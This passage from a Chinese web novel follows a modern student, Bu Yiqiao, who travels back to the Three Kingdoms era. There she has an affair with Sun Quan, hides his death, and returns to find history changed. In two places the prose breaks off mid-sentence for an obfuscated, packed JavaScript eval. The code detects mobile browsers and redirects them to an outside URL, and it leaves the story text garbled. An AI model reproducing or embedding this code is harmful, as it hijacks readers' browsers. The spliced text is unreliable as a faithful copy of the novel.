步一乔放下茶杯,“周公子是要问罪吗?” “伯符既言既往不咎,瑜岂敢违逆。况且你是去照料仲谋,我为何相怪?” 最后一个音符消散在风中,周瑜的手轻轻按在弦上,止住了余韵。 “仲谋睡下了?” “嗯,刚睡着。” “做个选择吧。伯符和仲谋,你必须选一方,从而弃掉另一方。” “我说过的,我——” “选择仲谋吧。” 周瑜平静地打断她,神色如常。 “不是以他救了你而威胁,只是……仲谋恐怕时日不多了。” “谁说的?” “大夫。” “哪个大夫?大夫说什么你就信什么吗?” “步姑娘,那是致命之伤。他能延命至今,已是天幸。” “你在诅咒他?” 周瑜无可奈何沉了口气道:“罢了。仲谋甘愿以命相救,自是钟情于你。即便日后安然无恙,你与他年岁相当,也并非不可。” “说穿了,你还是认定他必死无疑。” 周瑜素来儒雅的面上掠过一丝极淡的烦躁。 步一乔却斩钉截铁:“他不会死。他可是孙家看上去最长命的那个人,他绝不会死。” 说完,她仰头饮尽茶杯中并非茶而是酒的液体,擦干嘴角扬长而去。 * 昏暗的卧房内,照不进月光。 厚重的云层遮住月光,黯淡的烛光勾勒出门外之人的轮廓。 连步一乔自己也不知为何会走到这里。夜风拂过,扬起她单薄的衣袂。 冷么?不。她只觉得心头燥热,一股莫名的躁动推着她向前。 孙权原本端坐在正对门的椅上,坐立难安。直至那个人影浮现,他才蓦地起身,像是心头一块石头落地,轻轻吁出一口气。 两人隔着一道门框、几级石阶,无声对望。 他眼底几乎要漾出光来,步一乔却有些惶然,下意识地开口:“我只是……来看看你的伤。看你睡了没有。” 孙权站在门内,朝她伸出手,唇角牵起极温柔的弧度。是一个无声的邀请。 步一乔抿住唇,四下望去——夜深人静,无人醒着。 除了两个偷情的人。 夜色如墨,烛影摇曳。 她终究是将手递了过去,被他温热的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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步一乔眼中情欲瞬间褪去,转为锐利的警惕。她几乎本能地往孙权怀里钻,用他的身体护住自己,目光倏地射向窗外无边的黑暗。 没什么温度的掌心落在她发顶,安慰道:“野猫而已,不必害怕。” “……是吗?” 猫咪的肉垫踩过枯枝的声音,是这样的吗? 步一乔没继续多想,滚烫的唇舌贴上来,夺走她的注意力。 * 几番缠绵方歇,两人侧卧在榻,气息未定。 他的胸膛紧贴着她的后背,体温高得骇人。一只手臂自她身侧环过,掌心轻轻覆上她的小腹。 然而下一刻—— “咳……咳咳……” 压抑的咳嗽声突兀地响起,打破了帐中的温存。 “孙权?”步一乔倏然转身,“你没事吧?” “无碍……” 他试图掩饰,却换来更剧烈的呛咳,整个人蜷缩起来,仿佛要将五脏六腑都咳出。 直到他捂住唇的指缝间渗出暗红,染透了绣帕。 两人同时僵住,盯着那抹刺目的红。 寂静在黑暗中无限蔓延。 “孙权你……” 他强压下喘息,“无事……估计方才用力了些……歇息一会儿便好。” 说着,他再度环住她,将全身重量交付于她,下颌无力地抵在她肩头。 他的心跳透过相贴的肌肤传来,一下,又一下,沉重而缓慢,试图与她慌乱的脉搏重合。 “一乔……步一乔……做我夫人……不要嫁给……兄长……” 步一乔茫然地望着空荡的床帷,脑中一片空白。 他的声音越来越轻,如同呓语。 “我的第一次都给了你……纵然是强迫……我也原谅你……可你告诉我……那个曾说心悦兄长的你……当初为何……” 尾音悄然消散在空气中,再无下文。 步一乔微微侧过头,借着帐外残存的微光,看见他安静合目的侧脸。他的呼吸轻得几乎察觉不到。 沉默压得她喘不过气。 “孙权?”她试探着轻唤,缩了缩肩膀。 没有回应。 她抬手,轻轻拍了拍他的后背:“孙权?孙仲谋?” 依旧一片死寂。 连那微弱的心跳和呼吸,都再也感受不到了。 步一乔的瞳孔微缩,涌上眼眶的泪瞬间模糊了视线。嘴唇剧烈颤抖着,断断续续的声音从堵塞的喉间溢出。 “孙……孙权……?” 11. 清平误 烛火摇曳,在墙壁上投下幢幢鬼影,也照亮榻上那张年轻却已毫无生气的面庞。 步一乔跪坐在榻上,浑身冰冷,连指尖都在不受控制地颤抖。衣衫忘了披上,呆滞的神情似是眼睛都不曾眨一下。 她已经维持这个姿势太久,久到膝盖失去知觉。可她的内心,却正被滔天巨浪反复煎灼。 孙权死了。 巨大的恐惧如同无形的手,死死扼住了她的咽喉。 要说出去吗? 可她不敢告知任何人,只把孙权的房门关上,自己寸步不离。 不敢告诉孙策,不敢告诉吴夫人。 谁能相信他是自己咳血重伤而亡?谁又会信与你步一乔无关? 几双眼睛睁睁看见他为你挡下一刀!你是最后一个陪在他身边的人!你这来历不明的女子,本就是最大的嫌疑! 步一乔快疯了!快把自己给弄出精神分裂了! 若他们发现……若他们认定是她……杀人的罪名,足以将她碾碎成齑粉,死无葬身之地。 不能说。绝对不能说。绝不能让第三个人知道。 冷汗沿着她的脊背涔涔滑落。 可不说……又能瞒到几时?尸体在空气中一般存放多久?不久吧…… 天,就快亮了。 侍女会来添灯油,医生会来请脉,孙策……或许也会来看他重伤的弟弟。到时,冰冷的身体,凝固的血迹,该如何解释? 孙策会露出绝望的神情逼问:“人怎么死的?是不是你杀了他!” 又或许他根本不会问,举起大刀,便是一条人命。 步一乔仿佛已经听到门外响起脚步声,看到孙策暴怒冲入、吕蒙拔剑相向的场景。 每一次夜风拂过窗棂的细微声响,都让她惊得几乎跳起来,以为是有人来了。 她死死咬住下唇,尝到了血腥味,才勉强没有呜咽出声。 巨大的恐慌和负罪感几乎要将她撕裂。 她看着孙权安静的睡颜,他曾那么鲜活,会用发红的耳尖表达不满,会用灼热的目光凝视她…… 此刻却因为她陷入这极端可怖的境地而动弹不得。 “孙权?你说句话啊,安安静静的,一点不像你……” 步一乔尴尬地笑了笑。 “来,说些不害臊的话,我听听?初夜那晚……” 声音戛然而止。 因为步一乔又想起了她的初夜。她与眼前少年的初夜。 “那也是你的初夜吧?孙仲谋。” 她伸出手,想替他理好额前的一缕乱发,指尖却在即将触碰到他皮肤时猛地缩回。 不行,不能留下任何指纹。 她环抱住自己,只觉得无边的寒冷和孤独从四面八方涌来,将她彻底淹没。她被困在这死寂的囚笼内,守着一个惊天秘密和一具逐渐冰冷的尸体。 前进是万丈深渊,后退是刀山火海。 窗外,启明星悄然升起,微弱的光芒预示着她所恐惧的白昼即将来临。 她的时间,不多了。 “孙权……我该怎么办……” * 关上门,步一乔的手落在门缝上迟迟不肯离开。 “步一乔。” 厚重低沉的嗓音在身后炸开,惊得她猛地转身,整个脊背紧紧贴住门扇。 吕蒙眉头一拧,没好气地问道:“你这是作甚?” 步一乔心脏狂跳,她强行压下慌乱,假意咳嗽两声,清了清发紧的嗓子,道:“你来做什么?” “我来看看仲谋。” “他睡了。”她答得飞快,手臂不自觉地微微张开,成了一个更决绝的阻拦姿势。 “我就看看他,不打扰。” 说罢,吕蒙作势要往里走,步一乔立马拦住,语气急切起来。 “都说他睡了!孙权他……他睡眠极浅,你脚步重,一进去,他肯定醒!” 吕蒙的脚步顿在原地,探究的目光在她脸上逡巡。 “他今日服药后睡得格外沉些,”她努力让声音听起来更自然,“大夫也说需静养,最忌惊扰。” 廊下的风穿过庭院,吕蒙沉默了片刻,眼睛微微眯起:“既如此,我便不进去了。” 步一乔心下刚松了半口气,却见吕蒙并未转身离去,高大魁梧的身形顿时带来一股强烈的压迫感,粗犷的脸庞骤然逼近。 “但你若是刻意隐瞒什么。我才不管主公下的什么令,仲谋替你求什么情。我的刀,必然将你劈成两半!” 毫不掩饰的杀意如同实质的寒冰,瞬间刺透了步一乔的四肢百骸。 “要杀要剐……悉听尊便。” * 吕蒙离开后,步一乔站在孙权卧房门外久久挪不动脚。呼吸困难,比临死还难过。 吕蒙都差点暴露,更何况是周瑜……藏不住的……一定会暴露的…… 不知又过多久,夜色渐浓,步一乔还是憋不住,托着沉重的身子来到了孙策屋外。 门开着,她在门前犹豫片刻,终于抬手,极轻地叩响了门扉。 “伯符……” 屋内,孙策正就着烛火,擦拭着他的佩剑,在听到她声音的瞬间柔和了下来。立马起身朝她走来,目光如温暖的烛火,将她笼罩。 “大乔。仲谋的身子,可有好些?” “孙权他……” 步一乔下意识地绞紧了衣袖,话到嘴边又咽了回去。 她避开他关切的目光,低声嗫嚅道:“……嗯,好些了。刚服了药,已经睡下了。” “如此便好。” 孙策似是松了口气,唇角牵起一个令人安心的弧度。 “有你看顾他,我总是放心的。” 屋内再次陷入寂静,一阵难言的失落悄然攥住了步一乔的心。 忽然,一只温暖而略带薄茧的大手轻轻落在了她的发顶,动作轻柔地替她理了理被风吹得有些凌乱的发丝。 “这些日子,辛苦你了。看你都清减了些。照顾仲谋固然要紧,但你自己的身子,更不可轻忽。” 他指尖的温度透过发丝传来,却像一块烙铁,烫得她心口发疼。温柔的关怀此刻竟比任何斥责都更令她难以承受。汹涌的愧疚感几乎将她淹没,堵住了她的喉咙,让她窒息。 “伯符……” 她抬起眼,望入他清澈坦荡的眼底,那里面盛满了全然的信任。 “嗯?”他耐心地等待着她的下文。 “我其实……我其实是……” 真相几乎要脱口而出,沉重的秘密压得她脊背都要弯曲。可看着孙策的眼睛,话语最终化作了一声无力喘息。 步一乔猛地向后退了半步,仓皇地避开他的触碰。 “我……我去看看他有没有踢被子。” 她几乎是落荒而逃般地转过身,脚步踉跄。可就在走出几步之后,不舍与眷恋又如潮水般涌上,让她鬼使神差地回过头,想再看他一眼。 仿佛心有灵犀一般,孙策也正凝望着她的背影。他的目光依旧温和,却带着一丝不易察觉的探寻。 四目相对,步一乔像被灼伤一般,倏地垂下眼帘,全身颤抖着,再也鼓不起勇气与他对视。 “对不起……伯符。” *
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467246|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她几乎是跑回孙权的卧房,狠狠关上门,将不存在的人和视线隔绝在外。 葬送了初夜的屋子,此刻就像杀手的安全屋,令人松懈下来。 床榻上的人已没了气息。步一乔站在床榻边,俯视着,而后缓缓俯下身,将前额轻轻贴上孙权那片冰凉的皮肤,唇瓣张合,说了什么话,许久才抬起。 “抱歉。” 没有更多时间哀悼。她利落地收拾好所有属于自己的物品,不留下一丝痕迹,如同她从未在这个时代存在过。 趁着夜色,她再次回到地牢,片刻不停躺回熟悉的棺椁,用力拉合沉重的棺盖。 眼前陷入彻底的黑暗。她闭上眼,在心中默念那个她要抵达的年份。 周身空气剧烈地波动,温度骤升又骤降,一阵熟悉的眩晕与撕扯感过后,一切归于平静。 穿越结束了。 她立刻推开棺盖,急切地翻身而出,冲向地牢之外。 刺眼的阳光让她微微眯起了眼。游客熙攘,周围人声鼎沸,导游的讲解声诉说着她刚才经历的历史。 一阵虚脱感袭来,她喃喃自语:“先……先回学校吧。” “站住!” 熟悉的冷喝少年音自身后炸开,步一乔吓得浑身一颤,猛地回头。 周遭的空气似乎扭曲了一瞬,光线诡异地折叠,一个虚幻的身影悬浮于不远处。 “你……” 虚幻的影像极不稳定,闪烁着如同信号不良般的雪花和卡顿。 呵。 步一乔扯出一个苦涩的笑,下意识地后退半步。想不到连日来的紧绷与巨大的负罪感,已经让她精神崩溃到了出现如此逼真幻觉的地步。 “你就这么放任我死吗?”残影发出冰冷的质问,声音断断续续。 “我已化解了门客刺杀一事,伯符不会出意外。现在你死了……” 她停顿了一下。 “伯符就可以顺利登上吴王之位。这是最好的结局。” 没错,这是最好的结局。 自己改写历史的目的达到了。 反正孙权早晚会死。对于两千年后的步一乔来说,他早死了,投胎都几回了。 对,是这样的。她步一乔没有错,她是为了完成目的去的。 没有杀人……没有…… “孙权”的残像剧烈地闪烁起来,扭曲的脸上浮现出一种近乎讥讽的表情。杂音越来越响,幻影却步步紧逼,声音层层递进,从低语化为最终的审判: “步一乔……” “杀人凶手……” “步一乔。” “杀人凶手。” “步一乔!” “杀人凶手!!!!” 最后一声咆哮,不再是冰冷的质问,而是裹挟着无尽怨愤与绝望的嘶吼。随后影像爆裂成无数碎片的光点,彻底消散在空气中。 只留下步一乔僵立在原地,面色惨白。 “我不是……我不是杀人凶手……我没有杀人……是吕蒙……是孙权……” 她扯了扯唇角,呵呵地笑起来。 “对,是孙权自己要替自己挨下那一刀的……是他自己要死的……不是我……” 她缓缓转过身,一步一步地拖着沉重的双腿,踉跄着朝孙氏旧宅的外面走去。阳光照在她身上,却仿佛照不进她空洞的眼底。 “我不是……孙权……我不是……” 她反复呢喃着,不知是在向谁辩解,还是在进行一场绝望的自我催眠。 “临走前,我向你道过歉了……我不会救你的。我不会再穿越回去……救你……” 12. 失调名 步一乔的身影渐渐融入喧闹的游客人流,却像一抹孤寂的游魂,与周遭的鲜活格格不入。反复的低语,最终消散在嘈杂的风里,无人听见。 回到宿舍时,室友霖霖看到后,手上的保温杯直接没拿稳摔在地上。 幸亏还没接上热水,不过也足够证明此时步一乔的脸色有多难看。 丢下保温杯,霖霖冲到步一乔身边搀扶住她。 “你怎么了?怎么逛个遗址园把自己搞成这样?” 步一乔抬起空洞的眼睛看她,问:“教授呢?他今天有课吗?我要找他。” “哪个教授?”霖霖问。 “历史学综合课的教授。” “她不是请假回去休产假了吗?半年以后回来。你忘啦?” “产假?他结婚了?” 话说男性也可以休产假了吗?也是半年?什么时候的事儿? 步一乔空洞了半晌,迟缓地在凳子上坐下,从抽屉里捞了根棒棒糖叼在嘴里。 霖霖蹙眉纳闷,打趣问道:“怎么?你什么时候喜欢上她的课了?” “不是……我就问问。” 霖霖替她泡了杯蜂蜜水,又催促她去洗个热水澡,睡一觉。 躺在被窝里,步一乔盯着寝室灰白色的天花板,脑海里时不时闪过孙权的脸。 那之后又发生了什么?孙策是否顺利坐上吴王之位,一统江东?战败曹操,顶替天子,掌管天下? 脑子好疼。 眼下不管想什么,总有张孙权的脸在脑海中闪现。 “对了!历史书!我必须去看看孙策后来怎么样!” 刚躺下的人跟充满电似的,从上铺跳下来,捞上外套夺门而出。 坐在位置上翘着腿的霖霖傻了半晌,听见队友开始骂人了才回过神来。 步一乔马不停蹄冲去学校博物馆,冲向三楼的历史文献区域。 精准找到三国历史,翻开《三国志·吴书》。 “建安五年,孙权遇刺不治身亡。孙策沉浸在失去弟弟的悲痛中,葬礼上遭许贡的门客潜伏……” 书本落地的声音在寂静的图书馆炸开。 孙吴无主,周瑜等人各奔东西,天下未能形成三足鼎立。刘备终究不敌曹操,蜀军打败,曹魏一统天下。 “……全军覆没。” 步一乔无力地跌坐在地。 “我都干了什么……” 步一乔踉跄着将胳膊抵在书柜角,脑海中一闪而过的画面如此真实而刺目,让她的心慌张地跳个不停。 是孙权与她最后一次沉沦时的脸。喘息着,伏动着。是燥热的,是热忱的。 “不……不是因为交欢……而且是他自己要上我的!明知自己身负重伤——” 步一乔的自言自语戛然而止。 几乎目之所及所有人的目光都盯着她,露出惊讶吃瓜的表情。 她赶紧取下一本书,假装无事发生,继续看书。 “如果我现在穿越回更早的时间,孙权会不会复活?再来一次……吗?” 再来一次意味着什么?意味着又得重新开始,与孙策重新认识,与江东那群对自己嫉恶如仇的大老爷们重新打交道。 嗯,重新开始吧。 这次得小心行事,确保不酿成大错的同时与所有人搞好关系。 至于孙权…… “为什么这次我回去,他会记得我强吻他的事儿?还有强迫他上床又是怎么回事?青春期的少年做的春梦?还是说……不可能,他又不是穿越过去的,怎么可能和我一样记忆不会清除。话说那个棺材居然还有这等功能……好神奇……” 步一乔只能不停地无端猜测,却得不到任何答案。可一点停止思考,孙权那张脸就会出现。 * “一乔……步一乔……做我夫人……不要嫁给……兄长……” “我的第一次都给了你……纵然是强迫……我也原谅你……可你告诉我……那个曾说心悦兄长的你……当初为何……” 孙权是因为临死所以说的胡话? 他当真喜欢自己?不对,如此偏执的告白,应该是爱了吧? 说这些莫名其妙的话之前,孙权曾抓住步一乔的手掌,让其贴上自己心脏的位置。 看着自己的手抚摸在什么东西上,步一当即脑袋炸开,一片废墟。 他的心跳很快,快得撞击胸腔掷地有声。 步一乔想抽回手,却屡次被抓回去,继续按着。 “你干嘛!我不想摸你的……那儿!”步一乔恼羞吼道。 孙权虚弱的身子就像醉酒了似的,眸色深沉,恍恍惚惚。 “这里跳动得好快……我是不是要死了?” “说什么不吉利的话!”步一乔怒怼回去,“我不是说了你要活到七十岁吗,长命不好吗?” “可是你说……余生的五十年……没有你……” 因为说了他的余生没有自己,所以就老是说自己要死了的话? 这个人真的是…… 步一乔捧起孙权憔悴的脸,使劲儿揉搓少年的脸颊。而后又温柔地拨开他额前的碎发,鬓边垂下的发丝。 本想说“自己不配与他共度余生,他的余生有的是女人,为他争风吃醋的女人比比皆是。”,但步一乔全全吞回肚子里,换做一个吻,缠绕上孙权的舌尖,交换气息。 …… * “好烦啊……又想起他了……不就睡过两次吗!能不能别来烦我!” 声音炸开,吸引来更多目光。 图书馆是待不下去了。人怕出名猪怕壮,步一乔再不跑,就要成为明日之星了。 跑回宿舍,霖霖正好挂断电话,看见步一乔露出一副来得正好的表情。 “有个活动,在安徽潜山。”霖霖说。 “什么活动?”步一乔问。 “大小乔的文化交流活动。潜山那边的三国历史研究会邀请各个高校的历史系学生参加。我刚收到通知,教授让我直接跟你讲,她就不单独通知你了。” “我有事,不去。” 霖霖苦笑着戳戳她的脸,说:“这是通知,不是问你去不去。后天早上的大巴车,就当去旅游吧。说不定还能邂逅个什么奇妙之缘呢。” * 文化交流活动能邂逅个什么奇妙之缘?除了第一天集体活动后,之后的几天都是自由活动,完了最后一天再来个心得感受分享,没了。 参加的不是有对象的大学生,就是抱孙子的学者,她跟谁邂逅? 开了一天会,第二天步一乔只想窝在酒店睡上一整天。 霖霖似乎和什么潜山的网友约好了,起床便出去了,晚上说不准回不回酒店。 睡一天肯定是没那本事的。 穿越过去的几天,强迫适应古人的生活作息,步一乔已经快在现代社会成为日出而作日入而息的新时代年轻人。 “好无聊啊……还是出门逛逛吧。” 于是,步一乔选择了二乔公园。大概是受了孙策给自己取名大乔的缘故吧,听闻公园内有二乔的雕塑,她想去看看。 穿过曲折栈桥,步一乔在园林中找到了二乔的雕塑。 自己去了两次的时间,都在孙策与大乔相遇之后,为何不曾见到两人呢?或者,孙策将她养在别处,周瑜也是,所以没见着? 肯定不是这样…… 死了?呸,死你个头啊。 “该死的孙权!下次见着,我绝逼揍你一顿!” 自孙权带来沉重打击后,步一乔觉得自己的智商时常不在线,想问题总想到一半就会跑岔,或者断线。 都是孙权的错,一定是他的错。 “该死的孙权!欺男霸女!毁我青春!不是好人!” * 工作日公园没什么人,工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467247|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人员也见不着。 不知不觉间,步一乔走到了一口井边。扫了眼楹联上的字,她伸长脖子去望井,想看看有多深。 “什么嘛,又是被水泥封死的……没意思。” 步一乔嘟囔着正要直起身,脚下突然一滑。看起来十分稳固的石板沿竟毫无征兆地松动了一下! 惊愕之余,她整个人失去平衡,直直朝着被水泥封死的井口栽了下去。 “搞什么啊啊——!”她下意识地闭眼。 预想中的撞击并没有到来。 她竟然在下坠?耳边是呼啸的风声。 “这怎么可能……?” 她猛地睁大眼睛,试图在黑暗中看清什么。 那口井明明被水泥封得严严实实,她怎么会掉进来? 就在她脑子被这违反常理的一幕搅成一团乱麻时,眼前漆黑的深渊里,忽然毫无征兆地闪现出几点微光。 那光芒起初很微弱,如同夏夜林间飘荡的萤火虫,零星分散。 但很快,光点越来越多,越来越密,它们并不照亮四周,反而像是自顾自地汇聚成一条流动的光带,围绕着她飞速旋转。 “这是什么……” 步一乔感到一阵眩晕,仿佛灵魂都被这奇异的光芒吸了进去。 时间感和空间感变得错乱,耳边似乎响起许多模糊的、嘈杂的碎音,听不真切,却又带着一种古老的韵律。 萤火般的光点骤然爆发,强光刺得她闭上了眼睛。 紧接着,一切戛然而止。 下坠感消失了,风声停止了,那令人不安的旋转感也不见了。 步一乔感到自己实实在在地摔落在了什么东西上,触感坚硬而粗糙,震得她骨头生疼。 她龇牙咧嘴地撑起身,揉着发痛的手臂,茫然地睁开眼。 预想中公园的下水道没有出现,反而空气里弥漫着一股檀香和草木灰混合的淡雅气息,完全不是公园该有的味道。 她发现自己跌坐在一处雅致的庭院里。寒冬腊月之际,眼前是蜿蜒的抄手游廊,廊外假山玲珑,一池寂寥。 “这……是哪?怎么季节都变了?” 步一乔猛地回头,院墙上开着一扇月洞门,门上悬着匾额,以古朴的篆书写着两个字。 “桥府?!” 步一乔呆呆地看着眼前完全陌生的世界,一个荒谬却又让她心脏狂跳的念头猛地窜入脑海。 “……不会吧?” 来不及多虑,一阵细碎的脚步声和少女的娇嗔从远处传来。 “姐姐慢些,当心脚下!” “今日新学的曲子,我总弹不好那段破音,须得再练练……” “我看姐姐不是忧心曲子,而是孙吴的军队马上打到皖城吧?” “孙策野蛮,周瑜精明,皖城只怕……” 声音从游廊另一端传来,越来越近。 步一乔慌忙想找个地方躲起来,却已经来不及了。 两位身着曲裾深衣的少女转过廊角,骤然看见院子里凭空多出一个发型古怪、衣着奇特的陌生人,顿时吓得花容失色,僵在原地。 步一乔也彻底愣住,屏息看着眼前的两人。 稍年长的那位,云鬓轻挽,姿容绝丽,眉宇间自带一段温婉风流;稍年幼的那位,明艳灵动,顾盼神飞,宛如含苞待放的灼灼桃花。 即便从未见过,步一乔也在第一眼就无比确信。 是她们!江东绝色,大乔与小乔! 她竟然直接掉到了二乔的家里?!从一口水泥封死的公园假井? 小乔先反应过来,警惕地将姐姐护在身后:“你是何人?为何擅闯我家庭院?” 步一乔大脑一片空白,所有关于逻辑、关于科学的解释在这两个活生生的古人面前彻底崩溃。她张了张嘴,干巴巴地挤出一句自己都觉得离谱的话: “我……我从井里掉下来的。” 13. 水中月 “姐姐!姐姐!” 屋外传来急匆匆的呼声,步一乔站在室内望向门口。 “姐姐?”她不禁重复道。 门外跑进来一位容貌倾国的女子,正是小乔。她一路小跑到书案前,对着正在阅读竹简的大乔急声道:“姐姐!孙将军的兵马已兵临城下,父亲那边恐怕……” 大乔倏地起身,面色沉重地看向步一乔。 “步姑娘。” 步一乔心头一紧,迎上她的目光。 大乔忽地抓住步一乔的手:“昨夜姑娘许诺,可替我完成一心愿,此话可还作数?” 步一乔喉间一梗,隐约猜到了什么。 “你要我代你……嫁给周瑜?” * 昨日,步一乔在潜山的二乔公园散步,不小心掉进井里。 不曾想,世上除了孙宅旧址的棺材,还能有穿越的地方。更巧的是,这边穿过来,直接到了二乔家,二乔跟前。 彼时,孙策周瑜正率军攻打皖城。 彼时,建安四年十二月。 步一乔看着面前的姑娘,看过小乔后,目光落在大乔脸上。 这是真正的大乔,孙策历史上唯一公开的妻妾。 她……才是大乔。 步一乔又想起曾经心底默默答应孙策话:“大不了真的大乔出现,把名字还给人家便是。” 自己当时居然天真的以为,自己这个假冒伪劣的大乔出现,正版授权的大乔就不该存在。 至少,孙策与她不会再相遇。 步一乔很失落,明明是伤心的……脑海里却又出现了那个人的脸。 当年攻打皖城,孙权也在吗?他现在在哪儿? “姑娘莫非是来此避难的?” “什么?” 闻声,步一乔诧异地拉回思绪。大乔面露担忧,伸手将步一乔从地上扶起。 “怎么穿得那么单薄?乱世之中,苟全性命实在难得。姑娘若是无处可去,可暂且在此休整几日。” “多谢……乔姑娘……” 步一乔看着眼前的大乔,眼睛圆鼓鼓地睁着。而后的举动,吓坏了大乔,以及她身后的小乔。 大乔立马举起绣帕,擦拭步一乔脸上的水痕。眉眼含笑,倾国倾城。 “莫要伤心,小心哭坏了身子。”大乔柔声安慰。 此刻没有下雪,地上却似有什么反光的白,将大乔的皮肤照得白净剔透。寒风凛冽,步一乔还穿着春装,愣了半晌,才打了个冷颤。 “皖城不日便会易主,若是孙策将军大肆杀虐……”大乔沉下眸子,后面的话不愿再说。 步一乔说不出为孙策为人辩解的话,说不出两位姑娘会分别嫁给二人,佳话流传千古。 因为她酸了。 酸涩的情绪堵在心口,难受得恨不得又跳回井里去,一走了之。 * 步一乔暂且在桥府住下。 明日孙策便会举兵进入皖城,便会听人言二乔美名,纳大乔为妾。 躺在床踏上辗转反侧,步一乔实在睡不着,起身推门而出,打算去井边看看。 却没料在后院,撞见了另一位亦未寝。 四下安静,大乔独自待在这里,应该是有原因才对。 步一乔走上前,在她身边坐下。 深冬之月,桥府后院的水池边,两个人并排坐着。花草凋零,万物沉寂。 大乔看了眼步一乔,欲言又止。 步一乔察觉到她的视线,看去时,大乔已沉下眸子。 “大乔姑娘若有心事,可愿说与我听听?” 大乔抬头望着明月,眼波流转。 “步姑娘有想过自己此生会嫁给什么样的男子吗?” 步一乔摇头。 大乔叹息道:“我想过无数种。却没想过是以此身份……” “时得桥公两女,皆国色也。策自纳大乔,瑜纳小乔。” 说难听的,二乔不过作为战利品,成了孙周二人的所有物罢了。 坊间流传的是爱情,实际上,有谁知道呢? 步一乔拍了拍大乔的后背。 “孙策将军说不定是个好人呢?嫁给他,指不定很幸福呢?” “常年征战四方、生死未卜的丈夫吗?” 步一乔顿时哑口无言,“乱世嘛,也是没办法的事儿。何况他有一身本领傍身,没那么容易死呢。” “可我听说孙策做事轻佻果躁一意孤行……” 说着说着,大乔又抽泣起来。 “这门婚事与我而言,是福是祸尚且不知,但于桥氏乃至皖城,却是生机。孙策将军霸王再世,若能嫁他,可保桥氏一门在江东无忧。可是……可是……” 大乔再也无法说下去,哭得泣不成声。 步一乔抿了抿唇,不知说些什么好,又顺了顺大乔的背给予安慰。 她是封建时期没有恋爱自由的女子,却也不想委屈自己嫁给一个无法厮守白头的丈夫。 一个是求而不得,一个是不愿成全。都是“大乔”,为何如此截然不同? 大乔擦了擦眼泪,继续道:“妹妹比我生得乖巧,若是看姿色,恐孙策将军会选择妹妹。” “不会不会。”步一乔摆摆手,肯定道,“一定是姑娘。” 大乔诧异地看过来,又叹息着垂下头,道:“不瞒姑娘说,今日有人通风报信说,两位将军已将我姐妹二人分清……信人亲耳听见孙将军夸妹妹生得姣好……” 是这样吗?孙策原本喜欢的是小乔吗?那又是为什么改了主意?莫非是见到本人后,各自坦白,顺理成章换了对象? 好离谱……好狗血……好有意思! 忘了自己置身事内,步一乔此刻只有吃瓜的快乐。 “那啥……”步一乔顿了顿,“姑娘救了我,收留了我,我可替姑娘完成一个心愿,或者告诉你一件只有神知道的事儿。” “神知道的事儿?预言吗?”大乔问。 步一乔咧嘴笑道:“总之你想好了,直接告诉我即可。” * 时间回到眼下。 步一乔睁大了眼睛盯着大乔,大乔也不甘示弱,眨都不眨一下盯着她。 “定是周瑜将军……步姑娘,昨夜许下诺言,可还作数?”大乔沉重问道。 步一乔瞪大眼睛,结结巴巴道:“你……要我代你……嫁给周瑜???” 那周瑜几天前才差点把我算计得被吕蒙一刀砍了,现在要我嫁给他?!狗血剧情也不带这么走的! 步一乔强迫自己冷静下来。 历史早写清楚,大乔嫁的是孙策,别瞎操心了!就算她步一乔能耐再大,改写历史——不,不可能。 方才跑进屋的小乔愁眉苦脸打断二人道:“父亲说,按照军衔官职,恐怕是孙策将军纳姐姐,周瑜将军纳妾……” 小乔应该是欣喜自己嫁给周瑜的,面上担心的,是她姐姐。 “我答应姑娘。”步一乔握住大乔的手,“若是你亲眼见到孙将军,后悔了,我也答应。提前说好,这样姑娘也无后顾。” 大乔含泪欠身致谢:“大乔此生不忘姑娘恩情。” 这时,屋外跑来侍女通报,要二乔速速整装出门迎接。 历史性的一刻终于到了! 步一乔也即将见到建安四年,人生巅峰时期的孙策。心里说不明有多高兴。 走向桥府大门,大乔走在前头,小乔和步一乔走在后头。手突然被人拉住,一看,竟是小乔。 小乔:“姐姐怎么跟你说的?” 步一乔:“啊?说什么?” 小乔:“没说什么你会愿意替她嫁人?” 话音刚落,她四下张望一番,似乎顾及人多眼杂,谨慎地止住话头。但又忍不住好奇,压低声音继续和步一乔说。 “姐姐可有告知不愿嫁的原因?” 步一乔摇头。 小乔嗤之以鼻,盯着她姐姐的背影,道:“定是跟你说孙策将军常年征战,生死难料之类的话吧?定是如此,我一猜一个准。姐姐啊姐姐……罢了,总而言之,就是这么一回事。” 步一乔:“啊?” 怎么一回事啊?? * 眺望去,浩浩荡荡的军队入城,走在前头马上的两个男人雄姿英发。与一年后并无太大差别。 步一乔盯着孙策张扬的笑脸,内心五味杂陈。不知不觉间,视线再也挪不开。 她是在想什么,不过感动之余,想起了另一个人。 孙权。 此时的孙权在哪儿呢?他活过来的吧? 孙策与周瑜停靠在桥府门外,但没有下马,看着桥公身后的三名女子,沉默片刻后,勾起一边唇角。 “本以为桥公只有两个女儿?”孙策调侃道。 桥公与二乔回头看向步一乔,心有余悸,不好说此人是于家中避难的。 “回将军的话,一乔是我三妹。”大乔敢在众人猜疑之前回答。 